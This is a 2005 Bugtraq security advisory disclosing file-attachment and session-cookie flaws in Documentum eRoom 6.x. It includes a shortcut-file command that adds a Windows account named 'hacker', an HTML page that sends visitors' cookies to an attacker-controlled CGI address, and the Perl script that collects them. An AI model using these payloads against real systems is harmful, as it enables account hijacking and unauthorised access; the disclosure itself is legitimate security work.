[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: eRoom Multiple Security Issues
From: c0ntexb () gmail ! com
Date: 2005-07-06 21:28:26
Message-ID: 20050706212826.27745.qmail () securityfocus ! com
[Download RAW message or body]
/*
*****************************************************************************************************************
$ An open security advisory #9 - eRoom v6.* Vulnerabilities
*****************************************************************************************************************
1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
2: Bug Released: July 06 2005
3: Bug Impact Rate: Medium / Hi
4: Bug Scope Rate: Remote
*****************************************************************************************************************
$ This advisory and/or proof of concept code must not be used for commercial gain.
*****************************************************************************************************************
Documentum eRoom
http://www.documentum.com
"Documentum eRoom enables enterprises to become more productive, efficient, and \
agile by bringing together people, processes, and content. In fact, more than 1000 \
Global 2000 enterprises use Documentum eRoom to optimize key projects and \
processes."
eRoom has some vulnerabilities in that it does not deal with attached files or \
handle cookies in a secure manner. This being the case, it is possible to abuse \
trust between users utilising the system, execute code on systems of valid users and \
compromise user accounts by stealing/replaying their session cookies.
Issues
------
1) Attaching malicious files
2) Stealing and replaying cookies
-> I am unable to verify if the replay attack and cookie time out effects all \
versions of eRoom
6.* as I do not have access to a default installation and am unable to find a \
demo version
that I can use, though the chances are it is. I can guarantee that cookies \
can be stolen from
all versions and java script / HTML can be run from within an attached file.
1 - Attached files
------------------
eRoom allows a user to attach files into the website to share with other users, \
however there is no restriction on the type of file that can be attached. This can \
be abused to remotly compromise the systems of eRooms users.
If an .exe file is uploaded, when the user clicks on the file the usual "what do \
you want to do with this file" box pops up and as such, this does not seem a big \
problem. However, this check can be bypassed by uploading a .lnk file (windows \
shortcut) to the site, which contains any command you wish, I used the following:
%SystemRoot%\system32\cmd.exe /k net user hacker hackerpass /ADD
proving it is possible to have a command run on the remote users system once the \
user clicks on the file. Notice there is no further user interaction required and no \
pop-up box is recieved, the .lnk just gets downloaded by the eRoom plugin in the \
background and gets run, adding a user account to the system.
There are no warnings given to the user about the file containing a link to an \
executable image, and as such, it remains an invisible compromise.
The downloaded file will be left in
C:\Documents and Settings\user\Application Data\eRoom\eRoom Client\V6\Attachments\
{blahblah-blah-blah-blah-1234567890}\0_2bcb\budget_info.lnk
2 - Stealing and replaying cookies
----------------------------------
Cookies used for authentication in eRoom seem to be set up in a manner that allows \
a simple replay attack to be performed. The session cookie does not expire, as such, \
once it has been compromised and harvested, anyone can then replay the cookie and \
gain access to the site as the original user.
Evil user uploads an html file to eRoom, the victim browses the file cookie.html, \
which will send the users cookie information to a cgi script on a malicious web \
server and harvest the detials. These cookie details can then be used in a replay \
attack giving the attacker the potential to gain access to the web site as the user \
who accessed cookie.html.
/* cookie.html */
<html>
<head>
<title>Raiding the cookie jar</title>
</head>
<body>
<br>
<script>document.location='https://10.1.1.2/cgi-bin/cookie.cgi?' \
+document.cookie</script> <br>
</body>
</html>
/* cookie.cgi */
#!/usr/bin/perl
use CGI qw(:standard);
use CGI::Carp qw(warningsToBrowser fatalsToBrowser);
use strict;
my $break = "<br>";
my $browser = $ENV{'HTTP_USER_AGENT'};
my $cookie = $ENV{'QUERY_STRING'};
my $remote = $ENV{'REMOTE_ADDR'};
my $referer = $ENV{'HTTP_REFERER'};
my $reqmeth = $ENV{'REQUEST_METHOD'};
print header;
print "<html>",
"<head><title>Cookie Jacker</title></head>",
"<center><h1>Yummy!</h1>",
"ASPSESSIONID & SMSESSIONID could be useful for something? ;)",
"$break$break$break$break",
"<img src=\"/cookiemonster.jpg\">",
"</center>",
"$break$break$break$break\n";
$cookie =~ s/;%20/$break/g;
if($browser =~ /MSIE/) {
print "Come on, is this the 90s or smtng!$break";
} else {
print "j00 are l33t$break";
}
print "Client connection came from $remote$break",
"Refered by $referer$break",
"Using $reqmeth$break$break",
"$cookie\n";
print end_html;
Also, looking in access_log, information similar to the following will be \
presented:
10.1.1.2 - - [21/Jun/2005:16:57:23 +0100] "GET /cgi-bin/a.cgi?< cookie_information \
> AS HTTP/1.1" 200 1769
There are no fixes available for these issues in 6.*, perhaps version 7 is more \
secure, all users are advised to update to the latest version.
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic